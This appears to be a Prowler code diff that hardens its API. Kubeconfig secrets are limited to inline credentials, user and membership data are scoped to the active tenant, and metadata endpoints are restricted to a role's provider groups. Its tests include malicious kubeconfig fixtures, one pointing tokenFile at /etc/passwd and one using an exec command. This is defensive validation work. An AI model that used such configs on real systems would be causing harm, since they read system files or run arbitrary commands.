 from prowler.providers.aws.aws_provider import AwsProvider
 from prowler.providers.aws.lib.security_hub.security_hub import SecurityHubConnection
@@ -35,6 +36,34 @@ from prowler.providers.oraclecloud.oraclecloud_provider import OraclecloudProvid
 from prowler.providers.vercel.vercel_provider import VercelProvider
 from rest_framework.exceptions import NotFound, ValidationError

+VALID_KUBECONFIG = """\
+apiVersion: v1
+kind: Config
+clusters:
+- name: test-cluster
+  cluster:
+    server: https://example.invalid:6443
+    certificate-authority-data: Y2E=
+users:
+- name: test-user
+  user:
+    token: test-token
+contexts:
+- name: test-context
+  context:
+    cluster: test-cluster
+    user: test-user
+current-context: test-context
+"""
+
+TOKEN_FILE_KUBECONFIG = VALID_KUBECONFIG.replace(
+    "token: test-token", "tokenFile: /etc/passwd"
+)
+
+EXEC_KUBECONFIG = VALID_KUBECONFIG.replace(
+    "token: test-token", "exec:\n      command: test-command"
+)
+

 class TestMergeDicts:
    def test_simple_merge(self):
@@ -288,6 +317,40 @@ class TestProwlerProviderConnectionTest:
            raise_on_exception=False,
        )

+    @patch("api.utils.return_prowler_provider")
+    def test_kubernetes_connection_test_rejects_invalid_kubeconfig(
+        self, mock_return_prowler_provider
+    ):
+        provider = MagicMock()
+        provider.provider = Provider.ProviderChoices.KUBERNETES.value
+        provider.uid = "provider_uid"
+        provider.secret.secret = {"kubeconfig_content": TOKEN_FILE_KUBECONFIG}
+
+        connection = prowler_provider_connection_test(provider)
+
+        assert connection.is_connected is False
+        assert (
+            str(connection.error) == KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR
+        )
+        mock_return_prowler_provider.return_value.test_connection.assert_not_called()
+
+    @patch("api.utils.return_prowler_provider")
+    def test_kubernetes_connection_test_with_valid_kubeconfig(
+        self, mock_return_prowler_provider
+    ):
+        provider = MagicMock()
+        provider.provider = Provider.ProviderChoices.KUBERNETES.value
+        provider.uid = "provider_uid"
+        provider.secret.secret = {"kubeconfig_content": VALID_KUBECONFIG}
+
+        prowler_provider_connection_test(provider)
+
+        mock_return_prowler_provider.return_value.test_connection.assert_called_once_with(
+            kubeconfig_content=VALID_KUBECONFIG,
+            provider_id="provider_uid",
+            raise_on_exception=False,
+        )
+
    @pytest.mark.django_db
    @patch("api.utils.return_prowler_provider")
    def test_prowler_provider_connection_test_without_secret(
@@ -405,10 +468,6 @@ class TestGetProwlerProviderKwargs:
                Provider.ProviderChoices.GOOGLEWORKSPACE.value,
                {},
            ),
-            (
-                Provider.ProviderChoices.KUBERNETES.value,
-                {"context": "provider_uid"},
-            ),
            (
                Provider.ProviderChoices.M365.value,
                {},
@@ -459,6 +518,39 @@ class TestGetProwlerProviderKwargs:
        expected_result = {**secret_dict, **expected_extra_kwargs}
        assert result == expected_result

+    def test_get_prowler_provider_kwargs_kubernetes_valid_kubeconfig(self):
+        provider = MagicMock()
+        provider.provider = Provider.ProviderChoices.KUBERNETES.value
+        provider.uid = "provider_uid"
+        provider.secret.secret = {"kubeconfig_content": VALID_KUBECONFIG}
+
+        assert get_prowler_provider_kwargs(provider) == {
+            "kubeconfig_content": VALID_KUBECONFIG,
+            "context": "provider_uid",
+        }
+
+    @pytest.mark.parametrize(
+        "secret",
+        [
+            {"kubeconfig_content": TOKEN_FILE_KUBECONFIG},
+            {"kubeconfig_content": EXEC_KUBECONFIG},
+            {"kubeconfig_content": "[]"},
+            {"key": "value"},
+        ],
+    )
+    def test_get_prowler_provider_kwargs_kubernetes_rejects_invalid_kubeconfig(
+        self, secret
+    ):
+        provider = MagicMock()
+        provider.provider = Provider.ProviderChoices.KUBERNETES.value
+        provider.uid = "provider_uid"
+        provider.secret.secret = secret
+
+        with pytest.raises(ValidationError) as exc_info:
+            get_prowler_provider_kwargs(provider)
+
+        assert "/etc/passwd" not in str(exc_info.value)
+
    def test_get_prowler_provider_kwargs_oraclecloud_maps_region_to_home_region(
        self,
    ):
@@ -63,6 +63,7 @@ from api.models import (
 from api.rbac.permissions import TASK_REVOKE_PERMISSIONS
 from api.rls import Tenant
 from api.uuid_utils import datetime_to_uuid7
+from api.v1.serializers import MembershipIncludeSerializer
 from api.v1.views import (
    ComplianceOverviewViewSet,
    CustomSAMLLoginView,
@@ -97,6 +98,11 @@ from rest_framework_simplejwt.token_blacklist.models import (
    OutstandingToken,
 )
 from rest_framework_simplejwt.tokens import RefreshToken
+from tasks.jobs.backfill import (
+    aggregate_scan_category_summaries,
+    aggregate_scan_resource_group_summaries,
+    backfill_resource_scan_summaries,
+)


 class TestViewSet:
@@ -133,6 +139,145 @@ class TestUserViewSet:
        assert response.status_code == status.HTTP_200_OK
        assert response.json()["data"]["attributes"]["email"] == create_test_user.email

+    @staticmethod
+    def _shared_user_in_two_tenants(tenant_a, tenant_b):
+        shared_user = User.objects.create_user(
+            name="shared_user",
+            email=f"shared-user-{uuid4()}@prowler.com",
+            password="TmpPass123@",
+        )
+        Membership.objects.create(user=shared_user, tenant=tenant_a)
+        Membership.objects.create(user=shared_user, tenant=tenant_b)
+        role_a = Role.objects.create(name="role-a", tenant=tenant_a)
+        role_b = Role.objects.create(name="role-b", tenant=tenant_b)
+        UserRoleRelationship.objects.create(
+            user=shared_user, role=role_a, tenant=tenant_a
+        )
+        UserRoleRelationship.objects.create(
+            user=shared_user, role=role_b, tenant=tenant_b
+        )
+        return shared_user, role_a, role_b
+
+    @staticmethod
+    def _user_in_two_tenants_with_unique_roles(tenant_a, tenant_b):
+        suffix = uuid4()
+        user = User.objects.create_user(
+            name="scaled_user",
+            email=f"scaled-user-{suffix}@prowler.com",
+            password="TmpPass123@",
+        )
+        for tenant in (tenant_a, tenant_b):
+            Membership.objects.create(user=user, tenant=tenant)
+            role = Role.objects.create(name=f"role-{tenant.id}-{suffix}", tenant=tenant)
+            UserRoleRelationship.objects.create(user=user, role=role, tenant=tenant)
+        return user
+
+    def test_users_list_query_count_does_not_grow_with_user_count(
+        self, authenticated_client, tenants_fixture
+    ):
+        tenant_a, tenant_b, _ = tenants_fixture
+        self._user_in_two_tenants_with_unique_roles(tenant_a, tenant_b)
+        params = {"include": "memberships,roles"}
+
+        with CaptureQueriesContext(connection) as baseline:
+            response = authenticated_client.get(reverse("user-list"), params)
+        assert response.status_code == status.HTTP_200_OK
+        baseline_users = len(response.json()["data"])
+
+        for _ in range(3):
+            self._user_in_two_tenants_with_unique_roles(tenant_a, tenant_b)
+
+        with CaptureQueriesContext(connection) as scaled:
+            response = authenticated_client.get(reverse("user-list"), params)
+        assert response.status_code == status.HTTP_200_OK
+        assert len(response.json()["data"]) > baseline_users
+
+        assert len(scaled.captured_queries) == len(baseline.captured_queries), (
+            "Tenant-scoped relations are re-querying per user: "
+            f"{len(baseline.captured_queries)} queries for {baseline_users} users "
+            f"vs {len(scaled.captured_queries)} for "
+            f"{len(response.json()['data'])}. The prefetch is being discarded."
+        )
+
+    def test_users_retrieve_scopes_relations_to_active_tenant(
+        self, authenticated_client, tenants_fixture
+    ):
+        tenant_a, tenant_b, _ = tenants_fixture
+        shared_user, role_a, role_b = self._shared_user_in_two_tenants(
+            tenant_a, tenant_b
+        )
+
+        response = authenticated_client.get(
+            reverse("user-detail", kwargs={"pk": shared_user.id}),
+            {"include": "memberships,roles,memberships.tenant"},
+        )
+
+        assert response.status_code == status.HTTP_200_OK
+        payload = response.json()
+        relationships = payload["data"]["relationships"]
+        assert len(relationships["memberships"]["data"]) == 1
+        assert [item["id"] for item in relationships["roles"]["data"]] == [
+            str(role_a.id)
+        ]
+
+        included = payload["included"]
+        included_memberships = [i for i in included if i["type"] == "memberships"]
+        assert len(included_memberships) == 1
+        assert included_memberships[0]["relationships"]["tenant"]["data"]["id"] == str(
+            tenant_a.id
+        )
+        assert {i["id"] for i in included if i["type"] == "roles"} == {str(role_a.id)}
+        assert {
+            i["attributes"]["name"] for i in included if i["type"] == "tenants"
+        } == {tenant_a.name}
+        body = response.content.decode()
+        assert tenant_b.name not in body
+        assert str(tenant_b.id) not in body
+        assert str(role_b.id) not in body
+
+    def test_users_me_keeps_own_memberships_and_scopes_roles(
+        self, authenticated_client, create_test_user, tenants_fixture
+    ):
+        tenant_a, tenant_b, _ = tenants_fixture
+
+        response = authenticated_client.get(
+            reverse("user-me"), {"include": "memberships,roles,memberships.tenant"}
+        )
+
+        assert response.status_code == status.HTTP_200_OK
+        payload = response.json()
+        relationships = payload["data"]["relationships"]
+        assert len(relationships["memberships"]["data"]) == 2
+        assert {
+            i["attributes"]["name"]
+            for i in payload["included"]
+            if i["type"] == "tenants"
+        } == {tenant_a.name, tenant_b.name}
+        active_roles = create_test_user.roles.filter(tenant_id=tenant_a.id)
+        assert {i["id"] for i in relationships["roles"]["data"]} == {
+            str(role.id) for role in active_roles
+        }
+
+    def test_membership_include_serializer_hides_tenant_of_non_member(
+        self, create_test_user, tenants_fixture
+    ):
+        tenant_a, _, isolated_tenant = tenants_fixture
+        outsider = User.objects.create_user(
+            name="outsider",
+            email=f"outsider-{uuid4()}@prowler.com",
+            password="TmpPass123@",
+        )
+        foreign_membership = Membership.objects.create(
+            user=outsider, tenant=isolated_tenant
+        )
+        own_membership = Membership.objects.get(user=create_test_user, tenant=tenant_a)
+        request = SimpleNamespace(user=create_test_user, tenant_id=str(tenant_a.id))
+
+        serializer = MembershipIncludeSerializer(context={"request": request})
+
+        assert serializer.get_tenant(own_membership) == tenant_a
+        assert serializer.get_tenant(foreign_membership) is None
+
    def test_users_create(self, client):
        valid_user_payload = {
            "name": "test",
@@ -6949,6 +7094,99 @@ class TestAttackPathsScanViewSet:
        assert response.status_code == status.HTTP_400_BAD_REQUEST


+def _client_restricted_to_provider(tenant, provider, factory):
+    """Authenticated client for a fresh member whose role only sees `provider`."""
+    user = User.objects.create_user(
+        name=f"restricted-{uuid4()}",
+        email=f"restricted-{uuid4()}@prowler.com",
+        password=TEST_PASSWORD,
+    )
+    Membership.objects.create(
+        user=user, tenant=tenant, role=Membership.RoleChoices.MEMBER
+    )
+    role = Role.objects.create(
+        name=f"restricted-{uuid4()}",
+        tenant_id=tenant.id,
+        manage_users=False,
+        manage_account=False,
+        manage_billing=False,
+        manage_providers=False,
+        manage_integrations=False,
+        manage_scans=False,
+        unlimited_visibility=False,
+    )
+    UserRoleRelationship.objects.create(user=user, role=role, tenant_id=tenant.id)
+    provider_group = ProviderGroup.objects.create(
+        name=f"restricted-{uuid4()}", tenant_id=tenant.id
+    )
+    ProviderGroupMembership.objects.create(
+        tenant_id=tenant.id, provider_group=provider_group, provider=provider
+    )
+    RoleProviderGroupRelationship.objects.create(
+        tenant_id=tenant.id, role=role, provider_group=provider_group
+    )
+    return factory(user, tenant)
+
+
+def _completed_scan_with_summaries(
+    tenant, provider, resources, *, categories, resource_group
+):
+    """Completed scan for `provider` with one finding over `resources`, summary tables filled."""
+    tenant_id = str(tenant.id)
+    scan = Scan.objects.create(
+        name=f"scan-{uuid4()}",
+        provider=provider,
+        trigger=Scan.TriggerChoices.MANUAL,
+        state=StateChoices.COMPLETED,
+        tenant_id=tenant_id,
+    )
+    finding = Finding.objects.create(
+        tenant_id=tenant_id,
+        uid=f"finding-{uuid4()}",
+        scan=scan,
+        delta="new",
+        status=Status.FAIL,
+        status_extended="test status",
+        impact=Severity.critical,
+        impact_extended="test impact",
+        severity=Severity.critical,
+        raw_result={"status": Status.FAIL},
+        check_id="scoped_check",
+        check_metadata={"CheckId": "scoped_check"},
+        categories=categories,
+        resource_groups=resource_group,
+        first_seen_at="2024-01-02T00:00:00Z",
+    )
+    finding.add_resources(resources)
+    backfill_resource_scan_summaries(tenant_id, str(scan.id))
+    aggregate_scan_category_summaries(tenant_id, str(scan.id))
+    aggregate_scan_resource_group_summaries(tenant_id, str(scan.id))
+    return scan
+
+
+@pytest.fixture
+def scans_per_provider_fixture(tenants_fixture, aws_provider_pair, resources_fixture):
+    """One completed scan per provider; provider 2 only owns the `test` typed resource."""
+    tenant = tenants_fixture[0]
+    provider1, provider2 = aws_provider_pair
+    resource1, resource2, resource3 = resources_fixture
+    _completed_scan_with_summaries(
+        tenant,
+        provider1,
+        [resource1, resource2],
+        categories=["iam"],
+        resource_group="identity",
+    )
+    _completed_scan_with_summaries(
+        tenant,
+        provider2,
+        [resource3],
+        categories=["data-protection"],
+        resource_group="data",
+    )
+    return tenant, provider2
+
+
@pytest.mark.django_db
 class TestResourceViewSet:
    def test_resources_list_none(self, authenticated_client):
@@ -7320,6 +7558,42 @@ class TestResourceViewSet:
        assert attributes["types"] == [latest_scan_resource.type]
        assert "groups" in attributes

+    def test_resources_metadata_restricted_to_provider_group(
+        self, authenticated_client_for_tenant_factory, scans_per_provider_fixture
+    ):
+        tenant, provider2 = scans_per_provider_fixture
+        client = _client_restricted_to_provider(
+            tenant, provider2, authenticated_client_for_tenant_factory
+        )
+
+        response = client.get(
+            reverse("resource-metadata"), {"filter[updated_at]": TODAY}
+        )
+
+        assert response.status_code == status.HTTP_200_OK
+        attributes = response.json()["data"]["attributes"]
+        assert set(attributes["services"]) == {"ec2"}
+        assert set(attributes["regions"]) == {"us-east-1"}
+        assert set(attributes["types"]) == {"test"}
+        assert set(attributes["groups"]) == {"compute"}
+
+    def test_resources_metadata_latest_restricted_to_provider_group(
+        self, authenticated_client_for_tenant_factory, scans_per_provider_fixture
+    ):
+        tenant, provider2 = scans_per_provider_fixture
+        client = _client_restricted_to_provider(
+            tenant, provider2, authenticated_client_for_tenant_factory
+        )
+
+        response = client.get(reverse("resource-metadata_latest"))
+
+        assert response.status_code == status.HTTP_200_OK
+        attributes = response.json()["data"]["attributes"]
+        assert set(attributes["services"]) == {"ec2"}
+        assert set(attributes["regions"]) == {"us-east-1"}
+        assert set(attributes["types"]) == {"test"}
+        assert set(attributes["groups"]) == {"compute"}
+
    def test_resources_latest_filter_by_provider_id(
        self, authenticated_client, latest_scan_resource
    ):
@@ -8952,6 +9226,53 @@ class TestFindingViewSet:
        assert "groups" in attributes
        assert "ai_ml" in attributes["groups"]

+    @patch("api.v1.views.backfill_scan_resource_summaries_task.apply_async")
+    def test_findings_metadata_restricted_to_provider_group(
+        self,
+        mock_backfill,
+        authenticated_client_for_tenant_factory,
+        scans_per_provider_fixture,
+    ):
+        tenant, provider2 = scans_per_provider_fixture
+        client = _client_restricted_to_provider(
+            tenant, provider2, authenticated_client_for_tenant_factory
+        )
+
+        response = client.get(
+            reverse("finding-metadata"), {"filter[inserted_at]": TODAY}
+        )
+
+        assert response.status_code == status.HTTP_200_OK
+        mock_backfill.assert_not_called()
+        attributes = response.json()["data"]["attributes"]
+        assert set(attributes["services"]) == {"ec2"}
+        assert set(attributes["regions"]) == {"us-east-1"}
+        assert set(attributes["resource_types"]) == {"test"}
+        assert set(attributes["categories"]) == {"data-protection"}
+
+    @patch("api.v1.views.backfill_scan_resource_summaries_task.apply_async")
+    def test_findings_metadata_latest_restricted_to_provider_group(
+        self,
+        mock_backfill,
+        authenticated_client_for_tenant_factory,
+        scans_per_provider_fixture,
+    ):
+        tenant, provider2 = scans_per_provider_fixture
+        client = _client_restricted_to_provider(
+            tenant, provider2, authenticated_client_for_tenant_factory
+        )
+
+        response = client.get(reverse("finding-metadata_latest"))
+
+        assert response.status_code == status.HTTP_200_OK
+        mock_backfill.assert_not_called()
+        attributes = response.json()["data"]["attributes"]
+        assert set(attributes["services"]) == {"ec2"}
+        assert set(attributes["regions"]) == {"us-east-1"}
+        assert set(attributes["resource_types"]) == {"test"}
+        assert set(attributes["categories"]) == {"data-protection"}
+        assert set(attributes["groups"]) == {"data"}
+
    def test_findings_filter_by_category(
        self, authenticated_client, findings_with_categories
    ):
@@ -17,7 +17,7 @@ from api.models import (
    Role,
    UserRoleRelationship,
 )
-from api.v1.serializers import FindingMetadataSerializer
+from api.v1.serializers import FindingMetadataSerializer, KubernetesProviderSecret
 from django.contrib.postgres.aggregates import ArrayAgg
 from django.db import transaction
 from django.db.models import Subquery
@@ -201,6 +201,13 @@ def return_prowler_provider(
    return prowler_provider


+def _validate_kubernetes_secret(secret: dict) -> None:
+    """Re-validate a stored kubeconfig at use time; errors never echo its content."""
+    KubernetesProviderSecret(
+        data={"kubeconfig_content": secret.get("kubeconfig_content")}
+    ).is_valid(raise_exception=True)
+
+
 def get_prowler_provider_kwargs(
    provider: Provider, mutelist_processor: Processor | None = None
 ) -> dict:
@@ -225,6 +232,7 @@ def get_prowler_provider_kwargs(
            "project_ids": [provider.uid],
        }
    elif provider.provider == Provider.ProviderChoices.KUBERNETES.value:
+        _validate_kubernetes_secret(prowler_provider_kwargs)
        prowler_provider_kwargs = {**prowler_provider_kwargs, "context": provider.uid}
    elif provider.provider == Provider.ProviderChoices.GITHUB.value:
        if provider.uid:
@@ -392,6 +400,16 @@ def prowler_provider_connection_test(provider: Provider) -> Connection:
    except Provider.secret.RelatedObjectDoesNotExist as secret_error:
        return Connection(is_connected=False, error=secret_error)

+    if provider.provider == Provider.ProviderChoices.KUBERNETES.value:
+        # A rejected stored kubeconfig is a failed connection, not a task error.
+        try:
+            _validate_kubernetes_secret(prowler_provider_kwargs)
+        except ValidationError as validation_error:
+            return Connection(
+                is_connected=False,
+                error=Exception(validation_error.detail["kubeconfig_content"][0]),
+            )
+
    # For IaC provider, construct the kwargs properly for test_connection
    if provider.provider == Provider.ProviderChoices.IAC.value:
        # Don't pass repository_url from secret, use scan_repository_url with the UID
@@ -214,7 +214,8 @@ from rest_framework_json_api import serializers
                    "kubeconfig_content": {
                        "type": "string",
                        "description": "The content of the Kubernetes kubeconfig file, encoded as a string. "
-                        "Kubeconfig command-based authentication is not supported in Prowler Cloud for security reasons.",
+                        "Only inline credentials are supported: token, username/password, or client-certificate-data with client-key-data for users, and certificate-authority-data for clusters. "
+                        "File-path and auth-provider kubeconfig fields are not supported.",
                    }
                },
                "required": ["kubeconfig_content"],
@@ -377,27 +377,48 @@ class UserSerializer(BaseModelSerializerV1):
    def _can_view_relationships(self, instance) -> bool:
        """Allow self to view own relationships. Require manage_account to view others."""
        role = self.context.get("role")
+        return self._is_self(instance) or bool(role and role.manage_account)
+
+    def _is_self(self, instance) -> bool:
        request = self.context.get("request")
-        is_self = bool(
+        return bool(
            request
            and getattr(request, "user", None)
            and getattr(instance, "id", None) == request.user.id
        )
-        return is_self or (role and role.manage_account)
+
+    def _active_tenant_id(self):
+        return getattr(self.context.get("request"), "tenant_id", None)
+
+    @staticmethod
+    def _in_tenant(related_manager, tenant_id):
+        """Filter a prefetched related manager in memory.
+
+        ``.filter()`` clones the queryset without its result cache, so it would
+        discard the viewset's prefetch and re-query once per serialized user.
+        """
+        return [
+            item
+            for item in related_manager.all()
+            if str(item.tenant_id) == str(tenant_id)
+        ]

    def get_roles(self, instance):
-        return (
-            instance.roles.all()
-            if self._can_view_relationships(instance)
-            else Role.objects.none()
-        )
+        tenant_id = self._active_tenant_id()
+        if not tenant_id or not self._can_view_relationships(instance):
+            return Role.objects.none()
+        return self._in_tenant(instance.roles, tenant_id)

    def get_memberships(self, instance):
-        return (
-            instance.memberships.all()
-            if self._can_view_relationships(instance)
-            else Membership.objects.none()
-        )
+        if not self._can_view_relationships(instance):
+            return Membership.objects.none()
+        # Own memberships span tenants on purpose: the tenant switcher reads them.
+        if self._is_self(instance):
+            return instance.memberships.all()
+        tenant_id = self._active_tenant_id()
+        if not tenant_id:
+            return Membership.objects.none()
+        return self._in_tenant(instance.memberships, tenant_id)


 class UserMeSerializer(UserSerializer):
@@ -731,11 +752,32 @@ class MembershipIncludeSerializer(serializers.ModelSerializer):

    included_serializers = {"tenant": "api.v1.serializers.TenantIncludeSerializer"}

+    _REQUESTER_TENANTS_ATTR = "_prowler_requester_tenants"
+
+    def _requester_tenants(self):
+        """Tenants the requester belongs to, resolved once per request.
+
+        Memoised on the request because DRF builds a serializer instance per
+        included object, so a per-instance cache would still query per membership.
+        """
+        request = self.context.get("request")
+        user = getattr(request, "user", None)
+        if user is None:
+            return {}
+        tenants = getattr(request, self._REQUESTER_TENANTS_ATTR, None)
+        if tenants is None:
+            tenants = {
+                tenant.id: tenant
+                for tenant in Tenant.objects.using(MainRouter.admin_db).filter(
+                    membership__user_id=user.id
+                )
+            }
+            setattr(request, self._REQUESTER_TENANTS_ATTR, tenants)
+        return tenants
+
    def get_tenant(self, instance):
-        try:
-            return Tenant.objects.using(MainRouter.admin_db).get(id=instance.tenant_id)
-        except Tenant.DoesNotExist:
-            return None
+        """Resolve the tenant only when the requester is a member of it."""
+        return self._requester_tenants().get(instance.tenant_id)


 # Provider Groups
@@ -1659,14 +1701,43 @@ class FindingMetadataSerializer(BaseSerializerV1):


 # Provider secrets
-KUBERNETES_KUBECONFIG_UNSUPPORTED_COMMAND_AUTH_ERROR = (
-    "Kubernetes kubeconfig command-based authentication is not supported in "
-    "Prowler Cloud for security reasons."
+KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR = (
+    "Only inline Kubernetes credentials are supported. "
+    "For user authentication use token, username/password, or client-certificate-data with client-key-data; "
+    "clusters may use certificate-authority-data. "
+    "File-path fields (tokenFile, client-certificate, client-key, certificate-authority), "
+    "command-based authentication (exec, cmd-path), auth-provider directives, and proxy URLs are not supported."
 )
 KUBERNETES_KUBECONFIG_INVALID_ERROR = "Invalid Kubernetes kubeconfig content."


-def kubeconfig_contains_unsupported_command_auth(kubeconfig: dict) -> bool:
+KUBECONFIG_ALLOWED_USER_KEYS = frozenset(
+    {
+        "token",
+        "username",
+        "password",
+        "client-certificate-data",
+        "client-key-data",
+        "as",
+        "as-uid",
+        "as-groups",
+        "as-user-extra",
+    }
+)
+KUBECONFIG_ALLOWED_CLUSTER_KEYS = frozenset(
+    {
+        "server",
+        "certificate-authority-data",
+        "insecure-skip-tls-verify",
+        "tls-server-name",
+        "disable-compression",
+        "extensions",
+    }
+)
+
+
+def kubeconfig_is_inline_only_credentials(kubeconfig: dict) -> bool:
+    """Accept only inline credentials; reject file-reference and auth-provider fields."""
    users = kubeconfig.get("users", [])
    if not isinstance(users, list):
        raise ValidationError(KUBERNETES_KUBECONFIG_INVALID_ERROR)
@@ -1679,21 +1750,25 @@ def kubeconfig_contains_unsupported_command_auth(kubeconfig: dict) -> bool:
        if not isinstance(user, dict):
            raise ValidationError(KUBERNETES_KUBECONFIG_INVALID_ERROR)

-        if "exec" in user:
-            return True
+        if any(key not in KUBECONFIG_ALLOWED_USER_KEYS for key in user):
+            return False

-        auth_provider = user.get("auth-provider", {})
-        if not isinstance(auth_provider, dict):
-            continue
+    clusters = kubeconfig.get("clusters", [])
+    if not isinstance(clusters, list):
+        raise ValidationError(KUBERNETES_KUBECONFIG_INVALID_ERROR)

-        auth_provider_config = auth_provider.get("config", {})
-        if not isinstance(auth_provider_config, dict):
-            continue
+    for cluster_entry in clusters:
+        if not isinstance(cluster_entry, dict):
+            raise ValidationError(KUBERNETES_KUBECONFIG_INVALID_ERROR)

-        if "cmd-path" in auth_provider_config:
-            return True
+        cluster = cluster_entry.get("cluster", {})
+        if not isinstance(cluster, dict):
+            raise ValidationError(KUBERNETES_KUBECONFIG_INVALID_ERROR)

-    return False
+        if any(key not in KUBECONFIG_ALLOWED_CLUSTER_KEYS for key in cluster):
+            return False
+
+    return True


 class BaseWriteProviderSecretSerializer(BaseWriteSerializer):
@@ -1876,7 +1951,7 @@ class MongoDBAtlasProviderSecret(serializers.Serializer):


 class KubernetesProviderSecret(serializers.Serializer):
-    kubeconfig_content = serializers.CharField()
+    kubeconfig_content = serializers.CharField(trim_whitespace=False)

    def validate_kubeconfig_content(self, kubeconfig_content):
        try:
@@ -1889,9 +1964,9 @@ class KubernetesProviderSecret(serializers.Serializer):
        if not isinstance(kubeconfig, dict):
            raise serializers.ValidationError(KUBERNETES_KUBECONFIG_INVALID_ERROR)

-        if kubeconfig_contains_unsupported_command_auth(kubeconfig):
+        if not kubeconfig_is_inline_only_credentials(kubeconfig):
            raise serializers.ValidationError(
-                KUBERNETES_KUBECONFIG_UNSUPPORTED_COMMAND_AUTH_ERROR
+                KUBERNETES_KUBECONFIG_NON_INLINE_CREDENTIALS_ERROR
            )

        return kubeconfig_content
@@ -351,6 +351,15 @@ from tasks.tasks import (

 logger = logging.getLogger(BackendLogger.API)

+
+def _scans_visible_to(role, tenant_id):
+    """Tenant scans, narrowed to the role's provider groups unless it has unlimited visibility."""
+    scans = Scan.all_objects.filter(tenant_id=tenant_id)
+    if role.unlimited_visibility:
+        return scans
+    return scans.filter(provider__in=get_providers(role))
+
+
 CACHE_DECORATOR = cache_control(
    max_age=django_settings.CACHE_MAX_AGE,
    stale_while_revalidate=django_settings.CACHE_STALE_WHILE_REVALIDATE,
@@ -799,7 +808,9 @@ class SAMLConfigurationViewSet(BaseRLSViewSet):
    """

    serializer_class = SAMLConfigurationSerializer
-    required_permissions = [Permissions.MANAGE_INTEGRATIONS]
+    # The IdP behind this configuration decides who signs in and which role
+    # they get, so writing it is account administration, not an integration.
+    required_permissions = [Permissions.MANAGE_ACCOUNT]
    queryset = SAMLConfiguration.objects.all()

    def get_queryset(self):
@@ -1896,7 +1907,7 @@ class ProviderViewSet(DisablePaginationMixin, BaseRLSViewSet):
            self.required_permissions = [Permissions.MANAGE_PROVIDERS]

    def get_queryset(self):
-        user_roles = get_role(self.request.user, self.request.tenant_id)
+        user_roles = self.user_role
        if user_roles.unlimited_visibility:
            # User has unlimited visibility, return all providers
            queryset = Provider.objects.filter(tenant_id=self.request.tenant_id)
@@ -3058,7 +3069,7 @@ class AttackPathsScanViewSet(BaseRLSViewSet):
        return super().get_serializer_class()

    def get_queryset(self):
-        user_roles = get_role(self.request.user, self.request.tenant_id)
+        user_roles = self.user_role
        base_queryset = AttackPathsScan.objects.filter(tenant_id=self.request.tenant_id)

        if user_roles.unlimited_visibility:
@@ -3412,7 +3423,7 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
    required_permissions = []

    def get_queryset(self):
-        user_roles = get_role(self.request.user, self.request.tenant_id)
+        user_roles = self.user_role
        if user_roles.unlimited_visibility:
            # User has unlimited visibility, return all scans
            queryset = Resource.all_objects.filter(tenant_id=self.request.tenant_id)
@@ -3544,8 +3555,15 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):

        tenant_id = request.tenant_id
        query_params = request.query_params
+        user_roles = self.user_role

        queryset = ResourceScanSummary.objects.filter(tenant_id=tenant_id)
+        if not user_roles.unlimited_visibility:
+            queryset = queryset.filter(
+                scan_id__in=_scans_visible_to(user_roles, tenant_id).values_list(
+                    "id", flat=True
+                )
+            )

        if scans := query_params.get("filter[scan__in]") or query_params.get(
            "filter[scan]"
@@ -3623,7 +3641,10 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
        all_groups = Resource.objects.filter(
            tenant_id=tenant_id,
            groups__isnull=False,
-        ).values_list("groups", flat=True)
+        )
+        if not user_roles.unlimited_visibility:
+            all_groups = all_groups.filter(provider__in=get_providers(user_roles))
+        all_groups = all_groups.values_list("groups", flat=True)
        groups = sorted(
            {g for groups_list in all_groups if groups_list for g in groups_list}
        )
@@ -3648,9 +3669,10 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
    def metadata_latest(self, request):
        tenant_id = request.tenant_id
        query_params = request.query_params
+        user_roles = self.user_role

-        latest_scans_queryset = Scan.all_objects.filter(
-            tenant_id=tenant_id
+        latest_scans_queryset = _scans_visible_to(
+            user_roles, tenant_id
        ).latest_per_provider()

        queryset = ResourceScanSummary.objects.filter(
@@ -3691,7 +3713,10 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
        all_groups = Resource.objects.filter(
            tenant_id=tenant_id,
            groups__isnull=False,
-        ).values_list("groups", flat=True)
+        )
+        if not user_roles.unlimited_visibility:
+            all_groups = all_groups.filter(provider__in=get_providers(user_roles))
+        all_groups = all_groups.values_list("groups", flat=True)
        groups = sorted(
            {g for groups_list in all_groups if groups_list for g in groups_list}
        )
@@ -4028,7 +4053,7 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):

    def get_queryset(self):
        tenant_id = self.request.tenant_id
-        user_roles = get_role(self.request.user, self.request.tenant_id)
+        user_roles = self.user_role
        if user_roles.unlimited_visibility:
            # User has unlimited visibility, return all findings
            queryset = Finding.all_objects.filter(tenant_id=tenant_id)
@@ -4102,8 +4127,16 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):

        tenant_id = request.tenant_id
        query_params = request.query_params
+        user_roles = self.user_role
+        visible_scan_ids = (
+            None
+            if user_roles.unlimited_visibility
+            else _scans_visible_to(user_roles, tenant_id).values_list("id", flat=True)
+        )

        queryset = ResourceScanSummary.objects.filter(tenant_id=tenant_id)
+        if not user_roles.unlimited_visibility:
+            queryset = queryset.filter(scan_id__in=visible_scan_ids)
        scan_based_filters = {}
        category_scan_filters = {}  # Filters for ScanCategorySummary

@@ -4161,7 +4194,10 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):
        if not queryset.exists():
            raw_scans_ids = Scan.objects.filter(
                tenant_id=tenant_id, **scan_based_filters
-            ).values_list("id", "unique_resource_count")
+            )
+            if not user_roles.unlimited_visibility:
+                raw_scans_ids = raw_scans_ids.filter(id__in=visible_scan_ids)
+            raw_scans_ids = raw_scans_ids.values_list("id", "unique_resource_count")
            scan_ids = [
                scan_id for scan_id, count in raw_scans_ids if count and count > 0
            ]
@@ -4203,11 +4239,13 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):
        )

        # Get categories from ScanCategorySummary using same scan filters
+        category_summaries = ScanCategorySummary.objects.filter(
+            tenant_id=tenant_id, **category_scan_filters
+        )
+        if not user_roles.unlimited_visibility:
+            category_summaries = category_summaries.filter(scan_id__in=visible_scan_ids)
        categories = list(
